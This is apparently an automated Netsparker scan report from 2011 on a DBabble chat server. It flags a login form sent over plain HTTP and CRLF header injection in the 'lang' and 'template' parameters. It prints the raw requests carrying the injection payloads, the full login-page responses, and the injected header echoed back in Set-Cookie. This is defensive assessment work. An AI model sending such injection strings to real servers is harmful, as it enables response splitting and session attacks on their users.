cellspacing="4"> <tr> <td class=small_font><b><a href="http://www.netwinsite.com">Netwin -- Server Software</a></b></font></td> <td class=small_font><a href="http://netwinsite.com/dnews.htm">DNews -- UseNet News Server Software</a></td> <td class=small_font><a href="http://netwinsite.com/surgemail/index.htm">SurgeMail -- Mail Server Software</a></td> </tr> <tr> <td class=small_font><a href="http://netwinsite.com/webmail/index.htm">WebMail -- Web Mail Client</a></td> <td class=small_font><a href="http://netwinsite.com/surgeftp/index.htm">SurgeFTP -- Ftp Server Software</a></td> <td class=small_font><a href="http://netwinsite.com/dbabble/index.htm">DBabble -- Chat Server, Instant Messaging, Discussions / Forums</a></td> </tr></table></font></body></html>
Password Transmitted Over HTTP

Password Transmitted Over HTTP

1 TOTAL
IMPORTANT
CONFIRMED
1
Netsparker identified that password data is sent over HTTP.

Impact

If an attacker can intercept network traffic he/she can steal users credentials.

Actions to Take

  1. See the remedy for solution.
  2. Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.

Remedy

All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input starting from the login process should only be served over HTTPS.
- /dbabble

/dbabble CONFIRMED

http://smtp.netwin.co.nz:8132/dbabble?lang=Espa%EF%BF%BDol(Spanish)&template=Standard

Form target action

/dbabble

Request

GET /dbabble?lang=Espa%EF%BF%BDol(Spanish)&template=Standard HTTP/1.1
Referer: http://smtp.netwin.co.nz:8132/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: smtp.netwin.co.nz:8132
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: DBabble 2.7z
Content-Length: 15306
Connection: close
Set-Cookie: TEMPLATE=Standard; path=/; expires=Sat, 21 Apr 2012 00:15:11 GMT,LANG=Espa�ol(Spanish); path=/; expires=Sat, 21 Apr 2012 00:15:11 GMT
MIME-version: 1.0
Date: Fri, 22 Apr 2011 00:15:11 GMT
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html


<html><head><META HTTP-EQUIV="Pragma" CONTENT="no-cache"><META HTTP-EQUIV="cache-control" CONTENT="no-cache"><STYLE TYPE="text/css"><!-- BODY {font-size:10pt;} TD {font-size:10pt;} INPUT {font-size:9pt;} SELECT {font-size:9pt;} TEXTAREA {font-size:10pt;} TH {font-size:10pt;} FONT {font-size:10pt;} .small_font {font-size:8pt;} .big_font {font-size:12pt;}--></STYLE><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><script language="JavaScript"><!--function CheckVersion(){ document.writeln("<b>Advertencia - DBabble requiere un web browser que apoye el Javascript 1,1 o m�s alto.</b><br>"); document.writeln("<b>Your web browser only supports Javascript 1.0</b>");}function CheckBrowserVersion(){ ns4 = (document.layers)? true:false ns6 = (document.getElementById)? true:false ie4 = (document.all)? true:false if (!ns4 && !ie4 && !ns6) { document.writeln("<b>Warning - DBabble requires a more recent version of your web browser.</b><br>"); document.writeln("<b>For example Internet Explorer 4.0 or Netscape Navigator 4.0 or later.</b>"); }}// --></script><script language="JavaScript1.1"><!--function CheckVersion(){}// --></script><script language="JavaScript1.2"><!--function CheckVersion(){}// --></script><script language="JavaScript"><!--function FetchDate(){ x = new Date(); document.loginform.u_hour.value=x.getHours(); document.loginform.u_min.value=x.getMinutes(); document.loginform.u_sec.value=x.getSeconds(); document.loginform.u_day.value=x.getDate();}function PassOK(){ u=document.loginform.user.value; p=document.loginform.pass.value if (p=="") { txt="Invitado".toLowerCase(); txt_len=txt.length; if (u.substring(0,txt_len).toLowerCase()!=txt) return 0; } return 1;}function SubmitCheck(){ u=document.loginform.user.value; if (u=="") { document.loginform.user.focus(); return false; } p=document.loginform.pass.value if (PassOK()==0) { document.loginform.pass.focus(); return false; } FetchDate(); document.loginform.qfiller.value='_'+(new Date()).getTime(); return true;}function Login2(){ FetchDate(); window.name="mainframe" document.loginform.qfiller.value='_'+(new Date()).getTime(); document.loginform.submit();}function Login() { u=document.loginform.user.value; if (u=="") return; if (PassOK()==0) return; Login2();}function KeyCode(evt){ return document.all ? event.keyCode : evt.which ? evt.which : evt.keyCode ? evt.keyCode : evt.charcode;}function PassCheck(e) { if (KeyCode(e)==13) { Login(); return false; } else return true;}function UserCheck(e) { if (KeyCode(e)==13) { if (PassOK()==0) { document.loginform.pass.focus(); return false; } Login2(); return false; } else return true;}function Startup(){ if (window.top!=window && window.location!="/dbabble") { window.location="/dbabble?cmd=top_frame_error"; } window.name="login"}function GuestLogin(){ document.loginform.user.value="Invitado" document.loginform.pass.value=""; Login2();}function GuestLoginClearForm(){ document.loginform.new_window.value="" document.loginform.hide_menu_and_friends.value="" document.loginform.after_login_page.value="" document.loginform.after_logout_page.value="" document.loginform.override_dot_top.value="" document.loginform.override_main_name.value="" document.loginform.override_check_main_window.value="" document.loginform.target=""}function ClearFormSoon(){ setTimeout('GuestLoginClearForm()',2000)}function GuestLoginChatRoomInvite(gid,hide_menu_and_friends, invite_uid){ GuestLoginClearForm() if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="3" pv="cmd=chat_list&gid="+gid if (invite_uid>0) { pv=pv+"&invite_hid=511&invite_uid="+invite_uid+"&invite_is_ugroup=0"; } document.loginform.after_login_page.value=pv; GuestLogin(); ClearFormSoon()}function GuestLoginChatRoom(gid,hide_menu_and_friends){ GuestLoginChatRoomInvite(gid,hide_menu_and_friends,0);}function GuestLoginDiscussion(gid,hide_menu_and_friends){ GuestLoginClearForm() if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="2" document.loginform.after_login_page.value="cmd=group_items&gid="+gid; GuestLogin(); ClearFormSoon()}function GuestLoginNow(){ GuestLogin(); ClearFormSoon()}function GuestLoginTalkDo2(new_window,window_width, window_height, is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message, sub_frame_name, after_logout_page){ GuestLoginClearForm() txt="uid" if (is_ugroup) txt="ugid" document.loginform.after_logout_page.value=after_logout_page; if (new_window) { document.loginform.new_window.value="true" window.open("", "messageWindow", "width="+window_width+",height="+window_height+",resizable=yes") document.loginform.target="messageWindow" document.loginform.after_logout_page.value="javascript:window.close()" } if (sub_frame_name!="") { if (after_logout_page=="") { document.loginform.after_logout_page.value="blank.htm"; } document.loginform.override_dot_top.value=".top."+sub_frame_name document.loginform.override_main_name.value=sub_frame_name document.loginform.override_check_main_window.value="window.length>1 && window.top.frames[1].name=='"+sub_frame_name+"'" } if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="0" document.loginform.after_login_page.value="cmd=u_talk&hid=511&"+txt+"="+uid+"&talk_first_message="+escape(initial_message)+"&talk_other_first_message="+escape(other_initial_message)+"&talk_request_style="+talk_request_style+"&title_message="+escape(title_message)+"&leave_message="+escape(leave_message)+"&pick_first="+group_pick_first+"&heading_message="+escape(heading_message)+"&alt_message="+escape(alt_message);; document.loginform.window_title.value=title_message; setTimeout("GuestLoginNow()",250);}function GuestLoginTalkDo(new_window,is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message){ GuestLoginTalkDo2(new_window,290,190,is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message,"","")}function GuestLoginTalk(new_window, is_ugroup, uid,hide_menu_and_friends,initial_message){ other_initial_message="Hi, -NAME- here. How can I help you?" talk_request_style=1 // 0 = Send request to recipient as soon as clicking on the link // 1 = Send request as soon as you start typing // 2 = Send request as soon as you have finished typing a complete line GuestLoginTalkDo(new_window,is_ugroup,0,uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message,'','','','')}// --></script><title>DBabble conexi�n</title></head><body onload="Startup()" BACKGROUND="/img/whttxtr2.jpg"><LINK REL = "stylesheet" TYPE = "text/css" HREF = "/dbabble?cmd_get_js2=dbabble.css"><script language="JavaScript" src="/dbabble?cmd_get_js2=dbabble.js"></script><table bgcolor="black" width=100% border=0><tr> <td width=100% bgcolor="#336699" valign=center align=center><table border=0 cellpadding=0 cellspacing=0 margin=0><tr><td><img src="/img/netwin.gif" alt="Tra�do a usted por el software de NetWin Server - http://netwinsite.com" border=0</img></td><td><font class="huge_font" color="white">DBabble</font></td><td>&nbsp;&nbsp;&nbsp;</td><td><STYLE TYPE="text/css"><!-- A:VISITED.href_encode_class {color:white;} A:LINK.href_encode_class {color:white;}--></STYLE><font color="white">Tra�do a usted por el software de NetWin Server - <a class='href_encode_class' target='notvchat' href='http://netwinsite.com'>http://netwinsite.com</a></font></td></tr></table></td></tr></table><table><table width="100%" cellpadding=0 cellspacing=1 border=0 bgcolor="black"><tr align=center><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="khaki"><font color="black">Lengua:</font><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><a href="/dbabble?lang=English&template=Standard"><font color="white">English</font></a><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><font color="white"><b>Espa�ol(Spanish)</b></font><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><a href="/dbabble?lang=Deutsch(German)&template=Standard"><font color="white">Deutsch(German)</font></a><spacer type="block" width=10px></td><td bgcolor="steelblue" width="100%">&nbsp;</td></tr></table><br></tr></table><table><tr><td><font color="orange" style="font-size:12pt;"><b>DBabble para Windows</b></font>- Usted debe descargar e instalar el cliente de DBabble Windows 95/98/ME/2000/2003/NT/XP m�s bien que usar este Web page si es posible. Es mucho m�s r�pido y m�s f�cil utilizar. Usted puede descargarlo libremente de aqu�. <a href="/files/DBabble27y_Espa�ol(Spanish).exe" style="font-size:12pt;">Transferencia directa Versi�n 2.7y de DBabble</a>(1,947,161 bytes - debe tomar sobre 5 minutos sobre un m�dem 56K)</td></tr></table><script language="JavaScript"><!--CheckVersion() CheckBrowserVersion()//--></script><NOSCRIPT><b> Advertencia - DBabble requiere un web browser que apoye el Javascript 1,1 o m�s alto.<br>Su web browser no apoya Javascript o usted lo ha inhabilitado en sus preferencias.</b></NOSCRIPT><form style="margin:0" name="loginform" method="POST" target="_top" action="/dbabble"onSubmit="return SubmitCheck()"><table width=100%><tr><th colspan=2 align=left bgcolor=ivory>Nombre Y Contrase�a Del Usuario De la Conexi�n</th><th colspan=2" align=left bgcolor=ivory width=100%>Opciones De la Conexi�n</th></tr><tr><td><table><tr><td nowrap> Nombre de usuario</td><td><input type="text" name="user" value="" size="20" onkeypress="return UserCheck(event)"></td></tr><tr><td nowrap> Contrase�a</td><td> <input type="password" name="pass" value="" size="20" onkeypress="return PassCheck(event)"></td></tr></table></td><td align="LEFT"><input align="LEFT" type="submit" class=spbutton onmouseover="MO(event)" onmouseout="MU(event)" value="Iniciar sesi�n" alt="Iniciar sesi�n" name="Iniciar sesi�n"></td><td><table><tr><td nowrap><input type=hidden name="is_save_password" value="true"><input type=radio name="save_name" value="name">Excepto Nombre</td></tr><tr><td nowrap><input type=radio name="save_name" value="pass">Excepto nombre y contrase�a</td></tr><tr><td nowrap><input type=radio name="save_name" checked value="neither">Ni unos ni otros</td></tr></table></td><td><table><tr><td>Para simplificar el interfaz usted puede ocultar opcionalmente algunas caracter�sticas</td></tr><tr><td>Caracter�sticas:<select name="show_features"><option value="0" selected>Demuestre Todas las Caracter�sticas</option><option value="1" >Mensajes Inmediatos Solamente</option><option value="2" >Grupos de discusi�n solamente</option><option value="3" >Salas de charla solamente</option><option value="4" >Cuartos y discusiones de la charla solamente</option><option value="5" >Cuartos de la charla y mensajes inmediatos solamente</option><option value="6" >Discusiones y mensajes inmediatos solamente</option></select></td></tr></table></td></tr></table><input type="hidden" name="r_login" value="Login"><input type="hidden" name="u_day" value=""><input type="hidden" name="u_hour" value=""><input type="hidden" name="u_min" value=""><input type="hidden" name="u_sec" value=""><input type="hidden" name="qfiller" value=""><input type="hidden" name="window_title" value=""><input type="hidden" name="change_lang" value="Espa�ol(Spanish)"><input type="hidden" name="change_template" value="Standard"><input type="hidden" name="after_login_page" value=""><input type="hidden" name="hide_menu_and_friends" value=""><input type="hidden" name="after_logout_page" value=""><input type="hidden" name="override_dot_top" value=""><input type=hidden name="override_main_name" value=""><input type=hidden name="override_check_main_window" value=""><input type=hidden name="new_window" value="0"></form><script language="JavaScript"><!--document.loginform.user.focus();// --></script>Conexi�n justa usando su nombre y contrase�a normales del usuario del email<br><table width=100%><tr><th align=left bgcolor=ivory>Conexi�n De la Hu�sped</th></tr><tr><td>Usted puede alternativomente conexi�n como hu�sped. Las caracter�sticas de alg�n DBabble no est�n disponibles como hu�sped.</td></tr><tr><td><a href="javascript:GuestLogin()">Conexi�n de la hu�sped</a></td></tr></table><table width=100%><tr><th align=left bgcolor=ivory>Otras Conexiones</th></tr></table><a target='helpwin' href="/help/Espa�ol(Spanish)/Standard/contents.htm">Ayuda En l�nea de DBabble</a><br><a target='helpwin' href="/help/Espa�ol(Spanish)/Standard/password.htm">�Se olvid� de su contrase�a?</a><br><br>En este servidor tenemos 17 los usuarios registradosy los usuarios de 2 est�n actualmente en l�nea.Hay 1 sitio de la charlay hay 1 grupo de discusi�ncontener un total de art�culos de 306.<br><br>Usted puede utilizar DBabble con seguridad pero un directo m�s lento su web browser en <a href="https://netwin.co.nz:8133">https://netwin.co.nz:8133</a><hr>DBabble Linux versi�n del servidor de 2.7z (Aug 25 2004)- Servidor disponible para 340 d�as desde Dom, May 16 2010 4:44 pm<hr><font class=small_font>Powered by Netwin's <a href="http://netwinsite.com/dbabble/index.htm">DBabble secure chat, instant messaging and discussion server</a> software<table cellpadding="1" cellspacing="4"> <tr> <td class=small_font><b><a href="http://www.netwinsite.com">Netwin -- Server Software</a></b></font></td> <td class=small_font><a href="http://netwinsite.com/dnews.htm">DNews -- UseNet News Server Software</a></td> <td class=small_font><a href="http://netwinsite.com/surgemail/index.htm">SurgeMail -- Mail Server Software</a></td> </tr> <tr> <td class=small_font><a href="http://netwinsite.com/webmail/index.htm">WebMail -- Web Mail Client</a></td> <td class=small_font><a href="http://netwinsite.com/surgeftp/index.htm">SurgeFTP -- Ftp Server Software</a></td> <td class=small_font><a href="http://netwinsite.com/dbabble/index.htm">DBabble -- Chat Server, Instant Messaging, Discussions / Forums</a></td> </tr></table></font></body></html>
HTTP Header Injection

HTTP Header Injection

2 TOTAL
MEDIUM
A CRLF (New line) injection in HTTP headers was identified. This means that the input goes into HTTP headers without proper input filtering.

Impact

Depending on the application. An attacker might carry out the following forms of attacks:

Actions to Take

  1. See the remedy for solution.
  2. Ensure the server security patches are up to date and that the current stable version of the software is in use.

Remedy

Do not allow newline characters in input. Where possible use strict white listing.

Required Skills for Successful Exploitation

Crafting the attack to exploit this issue is not a complex process. However most of the unsophisticated attackers will not know that such an attack is possible. Also an attacker needs to reach his victim by an e-mail or other similar method in order to entice them to visit the site or click upon a URL.

External References

- /dbabble

/dbabble

http://smtp.netwin.co.nz:8132/dbabble?lang=http://example.com/%3f%0D%0Ans:%20netsparker056650=vuln&t..

Parameters

Parameter Type Value
lang GET http://example.com/? ns: netsparker056650=vuln
template GET Standard

Request

GET /dbabble?lang=http://example.com/%3f%0D%0Ans:%20netsparker056650=vuln&template=Standard HTTP/1.1
Referer: http://smtp.netwin.co.nz:8132/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: smtp.netwin.co.nz:8132
Cookie: TEMPLATE=Standard; LANG=
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: DBabble 2.7z
Content-Length: 14876
Connection: close
Set-Cookie: LANG=http://example.com/?
ns: netsparker056650=vuln; path=/; expires=Sat, 21 Apr 2012 00:15:37 GMT
MIME-version: 1.0
Date: Fri, 22 Apr 2011 00:15:37 GMT
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html


<html><head><META HTTP-EQUIV="Pragma" CONTENT="no-cache"><META HTTP-EQUIV="cache-control" CONTENT="no-cache"><STYLE TYPE="text/css"><!-- BODY {font-size:10pt;} TD {font-size:10pt;} INPUT {font-size:9pt;} SELECT {font-size:9pt;} TEXTAREA {font-size:10pt;} TH {font-size:10pt;} FONT {font-size:10pt;} .small_font {font-size:8pt;} .big_font {font-size:12pt;}--></STYLE><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><script language="JavaScript"><!--function CheckVersion(){ document.writeln("<b>Warning - DBabble requires a web browser that Supports JavaScript 1.1 or higher.</b><br>"); document.writeln("<b>Your web browser only supports Javascript 1.0</b>");}function CheckBrowserVersion(){ ns4 = (document.layers)? true:false ns6 = (document.getElementById)? true:false ie4 = (document.all)? true:false if (!ns4 && !ie4 && !ns6) { document.writeln("<b>Warning - DBabble requires a more recent version of your web browser.</b><br>"); document.writeln("<b>For example Internet Explorer 4.0 or Netscape Navigator 4.0 or later.</b>"); }}// --></script><script language="JavaScript1.1"><!--function CheckVersion(){}// --></script><script language="JavaScript1.2"><!--function CheckVersion(){}// --></script><script language="JavaScript"><!--function FetchDate(){ x = new Date(); document.loginform.u_hour.value=x.getHours(); document.loginform.u_min.value=x.getMinutes(); document.loginform.u_sec.value=x.getSeconds(); document.loginform.u_day.value=x.getDate();}function PassOK(){ u=document.loginform.user.value; p=document.loginform.pass.value if (p=="") { txt="Guest".toLowerCase(); txt_len=txt.length; if (u.substring(0,txt_len).toLowerCase()!=txt) return 0; } return 1;}function SubmitCheck(){ u=document.loginform.user.value; if (u=="") { document.loginform.user.focus(); return false; } p=document.loginform.pass.value if (PassOK()==0) { document.loginform.pass.focus(); return false; } FetchDate(); document.loginform.qfiller.value='_'+(new Date()).getTime(); return true;}function Login2(){ FetchDate(); window.name="mainframe" document.loginform.qfiller.value='_'+(new Date()).getTime(); document.loginform.submit();}function Login() { u=document.loginform.user.value; if (u=="") return; if (PassOK()==0) return; Login2();}function KeyCode(evt){ return document.all ? event.keyCode : evt.which ? evt.which : evt.keyCode ? evt.keyCode : evt.charcode;}function PassCheck(e) { if (KeyCode(e)==13) { Login(); return false; } else return true;}function UserCheck(e) { if (KeyCode(e)==13) { if (PassOK()==0) { document.loginform.pass.focus(); return false; } Login2(); return false; } else return true;}function Startup(){ if (window.top!=window && window.location!="/dbabble") { window.location="/dbabble?cmd=top_frame_error"; } window.name="login"}function GuestLogin(){ document.loginform.user.value="Guest" document.loginform.pass.value=""; Login2();}function GuestLoginClearForm(){ document.loginform.new_window.value="" document.loginform.hide_menu_and_friends.value="" document.loginform.after_login_page.value="" document.loginform.after_logout_page.value="" document.loginform.override_dot_top.value="" document.loginform.override_main_name.value="" document.loginform.override_check_main_window.value="" document.loginform.target=""}function ClearFormSoon(){ setTimeout('GuestLoginClearForm()',2000)}function GuestLoginChatRoomInvite(gid,hide_menu_and_friends, invite_uid){ GuestLoginClearForm() if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="3" pv="cmd=chat_list&gid="+gid if (invite_uid>0) { pv=pv+"&invite_hid=511&invite_uid="+invite_uid+"&invite_is_ugroup=0"; } document.loginform.after_login_page.value=pv; GuestLogin(); ClearFormSoon()}function GuestLoginChatRoom(gid,hide_menu_and_friends){ GuestLoginChatRoomInvite(gid,hide_menu_and_friends,0);}function GuestLoginDiscussion(gid,hide_menu_and_friends){ GuestLoginClearForm() if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="2" document.loginform.after_login_page.value="cmd=group_items&gid="+gid; GuestLogin(); ClearFormSoon()}function GuestLoginNow(){ GuestLogin(); ClearFormSoon()}function GuestLoginTalkDo2(new_window,window_width, window_height, is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message, sub_frame_name, after_logout_page){ GuestLoginClearForm() txt="uid" if (is_ugroup) txt="ugid" document.loginform.after_logout_page.value=after_logout_page; if (new_window) { document.loginform.new_window.value="true" window.open("", "messageWindow", "width="+window_width+",height="+window_height+",resizable=yes") document.loginform.target="messageWindow" document.loginform.after_logout_page.value="javascript:window.close()" } if (sub_frame_name!="") { if (after_logout_page=="") { document.loginform.after_logout_page.value="blank.htm"; } document.loginform.override_dot_top.value=".top."+sub_frame_name document.loginform.override_main_name.value=sub_frame_name document.loginform.override_check_main_window.value="window.length>1 && window.top.frames[1].name=='"+sub_frame_name+"'" } if (hide_menu_and_friends) document.loginform.hide_menu_and_friends.value="true" document.loginform.show_features.value="0" document.loginform.after_login_page.value="cmd=u_talk&hid=511&"+txt+"="+uid+"&talk_first_message="+escape(initial_message)+"&talk_other_first_message="+escape(other_initial_message)+"&talk_request_style="+talk_request_style+"&title_message="+escape(title_message)+"&leave_message="+escape(leave_message)+"&pick_first="+group_pick_first+"&heading_message="+escape(heading_message)+"&alt_message="+escape(alt_message);; document.loginform.window_title.value=title_message; setTimeout("GuestLoginNow()",250);}function GuestLoginTalkDo(new_window,is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message){ GuestLoginTalkDo2(new_window,290,190,is_ugroup, group_pick_first, uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message, title_message, heading_message, alt_message, leave_message,"","")}function GuestLoginTalk(new_window, is_ugroup, uid,hide_menu_and_friends,initial_message){ other_initial_message="Hi, -NAME- here. How can I help you?" talk_request_style=1 // 0 = Send request to recipient as soon as clicking on the link // 1 = Send request as soon as you start typing // 2 = Send request as soon as you have finished typing a complete line GuestLoginTalkDo(new_window,is_ugroup,0,uid,hide_menu_and_friends,talk_request_style,initial_message,other_initial_message,'','','','')}// --></script><title>DBabble login</title></head><body onload="Startup()" BACKGROUND="/img/whttxtr2.jpg"><LINK REL = "stylesheet" TYPE = "text/css" HREF = "/dbabble?cmd_get_js2=dbabble.css"><script language="JavaScript" src="/dbabble?cmd_get_js2=dbabble.js"></script><table bgcolor="black" width=100% border=0><tr> <td width=100% bgcolor="#336699" valign=center align=center><table border=0 cellpadding=0 cellspacing=0 margin=0><tr><td><img src="/img/netwin.gif" alt="Brought to you by NetWin Server Software - http://netwinsite.com" border=0</img></td><td><font class="huge_font" color="white">DBabble</font></td><td>&nbsp;&nbsp;&nbsp;</td><td><STYLE TYPE="text/css"><!-- A:VISITED.href_encode_class {color:white;} A:LINK.href_encode_class {color:white;}--></STYLE><font color="white">Brought to you by NetWin Server Software - <a class='href_encode_class' target='notvchat' href='http://netwinsite.com'>http://netwinsite.com</a></font></td></tr></table></td></tr></table><table><table width="100%" cellpadding=0 cellspacing=1 border=0 bgcolor="black"><tr align=center><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="khaki"><font color="black">Language:</font><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><font color="white"><b>English</b></font><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><a href="/dbabble?lang=Espa�ol(Spanish)&template=Standard"><font color="white">Espa�ol(Spanish)</font></a><spacer type="block" width=10px></td><td nowrap height=20 border=1 align=center style="padding-right:10px;padding-left:10px;" bgcolor="steelblue"><a href="/dbabble?lang=Deutsch(German)&template=Standard"><font color="white">Deutsch(German)</font></a><spacer type="block" width=10px></td><td bgcolor="steelblue" width="100%">&nbsp;</td></tr></table><br></tr></table><table><tr><td><font color="orange" style="font-size:12pt;"><b>DBabble for Windows</b></font>- You should download and install the DBabble Windows 95/98/ME/2000/2003/NT/XP client rather than using this web page if possible. It is much faster and easier to use. You can download it free from here. <a href="/files/DBabble27y_English.exe" style="font-size:12pt;">Download DBabble Version 2.7y</a>(1,901,847 bytes - should take about 5 minutes over a 56K modem)</td></tr></table><script language="JavaScript"><!--CheckVersion() CheckBrowserVersion()//--></script><NOSCRIPT><b> Warning - DBabble requires a web browser that Supports JavaScript 1.1 or higher.<br>Your web browser does not support Javascript or you have disabled it in your preferences.</b></NOSCRIPT><form style="margin:0" name="loginform" method="POST" target="_top" action="/dbabble"onSubmit="return SubmitCheck()"><table width=100%><tr><th colspan=2 align=left bgcolor=ivory>Login User Name & Password</th><th colspan=2" align=left bgcolor=ivory width=100%>Login Options</th></tr><tr><td><table><tr><td nowrap> User Name</td><td><input type="text" name="user" value="" size="20" onkeypress="return UserCheck(event)"></td></tr><tr><td nowrap> Password</td><td> <input type="password" name="pass" value="" size="20" onkeypress="return PassCheck(event)"></td></tr></table></td><td align="LEFT"><input align="LEFT" type="submit" class=spbutton onmouseover="MO(event)" onmouseout="MU(event)" value="Login" alt="Login" name="Login"></td><td><table><tr><td nowrap><input type=hidden name="is_save_password" value="true"><input type=radio name="save_name" value="name">Save Name</td></tr><tr><td nowrap><input type=radio name="save_name" value="pass">Save Name and Password</td></tr><tr><td nowrap><input type=radio name="save_name" checked value="neither">Neither</td></tr></table></td><td><table><tr><td>To simplify the interface you can optionally hide some features</td></tr><tr><td>Features:<select name="show_features"><option value="0" selected>Show All Features</option><option value="1" >Instant Messages Only</option><option value="2" >Forums Only</option><option value="3" >Chat Rooms Only</option><option value="4" >Chat Rooms and Forums Only</option><option value="5" >Chat Rooms and Instant Messages Only</option><option value="6" >Forums and Instant Messages Only</option></select></td></tr></table></td></tr></table><input type="hidden" name="r_login" value="Login"><input type="hidden" name="u_day" value=""><input type="hidden" name="u_hour" value=""><input type="hidden" name="u_min" value=""><input type="hidden" name="u_sec" value=""><input type="hidden" name="qfiller" value=""><input type="hidden" name="window_title" value=""><input type="hidden" name="change_lang" value="http://example.com/?
ns: netsparker056650=vuln"><input type="hidden" name="change_template" value="Standard"><input type="hidden" name="after_login_page" value=""><input type="hidden" name="hide_menu_and_friends" value=""><input type="hidden" name="after_logout_page" value=""><input type="hidden" name="override_dot_top" value=""><input type=hidden name="override_main_name" value=""><input type=hidden name="override_check_main_window" value=""><input type=hidden name="new_window" value="0"></form><script language="JavaScript"><!--document.loginform.user.focus();// --></script>Just login using your normal Email user name and password<br><table width=100%><tr><th align=left bgcolor=ivory>Guest Login</th></tr><tr><td>Alternatively you can login as a guest. Some DBabble features are not available as a guest.</td></tr><tr><td><a href="javascript:GuestLogin()">Guest login</a></td></tr></table><table width=100%><tr><th align=left bgcolor=ivory>Other Links</th></tr></table><a target='helpwin' href="/help/English/Standard/contents.htm">DBabble Online Help</a><br><a target='helpwin' href="/help/English/Standard/password.htm">Forgot your Password?</a><br><br>On this server we have 17 registered usersand 2 users are currently online.There is 1 chat roomand there is 1 forumcontaining a total of 306 articles.<br><br>You can use DBabble securely but slower through your web browser at <a href="https://netwin.co.nz:8133">https://netwin.co.nz:8133</a><hr>DBabble Linux Server Version 2.7z (Aug 25 2004)- Server up for 340 days since Sun, May 16 2010 4:44 pm<hr><font class=small_font>Powered by Netwin's <a href="http://netwinsite.com/dbabble/index.htm">DBabble secure chat, instant messaging and discussion server</a> software<table cellpadding="1" cellspacing="4"> <tr> <td class=small_font><b><a href="http://www.netwinsite.com">Netwin -- Server Software</a></b></font></td> <td class=small_font><a href="http://netwinsite.com/dnews.htm">DNews -- UseNet News Server Software</a></td> <td class=small_font><a href="http://netwinsite.com/surgemail/index.htm">SurgeMail -- Mail Server Software</a></td> </tr> <tr> <td class=small_font><a href="http://netwinsite.com/webmail/index.htm">WebMail -- Web Mail Client</a></td> <td class=small_font><a href="http://netwinsite.com/surgeftp/index.htm">SurgeFTP -- Ftp Server Software</a></td> <td class=small_font><a href="http://netwinsite.com/dbabble/index.htm">DBabble -- Chat Server, Instant Messaging, Discussions / Forums</a></td> </tr></table></font></body></html>
- /dbabble

/dbabble

http://smtp.netwin.co.nz:8132/dbabble?lang=Espa%EF%BF%BDol(Spanish)&template=http://example.com/%3f%..

Parameters

Parameter Type Value
lang GET Espa�ol(Spanish)
template GET http://example.com/? ns: netsparker056650=vuln

Request

GET /dbabble?lang=Espa%EF%BF%BDol(Spanish)&template=http://example.com/%3f%0D%0Ans:%20netsparker056650=vuln HTTP/1.1
Referer: http://smtp.netwin.co.nz:8132/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: smtp.netwin.co.nz:8132
Cookie: TEMPLATE=; LANG=Espa�ol(Spanish)
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: DBabble 2.7z
Content-Length: 15345
Connection: close
Set-Cookie: TEMPLATE=http://example.com/?
ns: netsparker056650=vuln; path=/; expires=Sat, 21 Apr 2012 00:15:38 GMT
MIME-version: 1.0
Date: Fri, 22 Apr 2011 00:15:38 GMT
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html


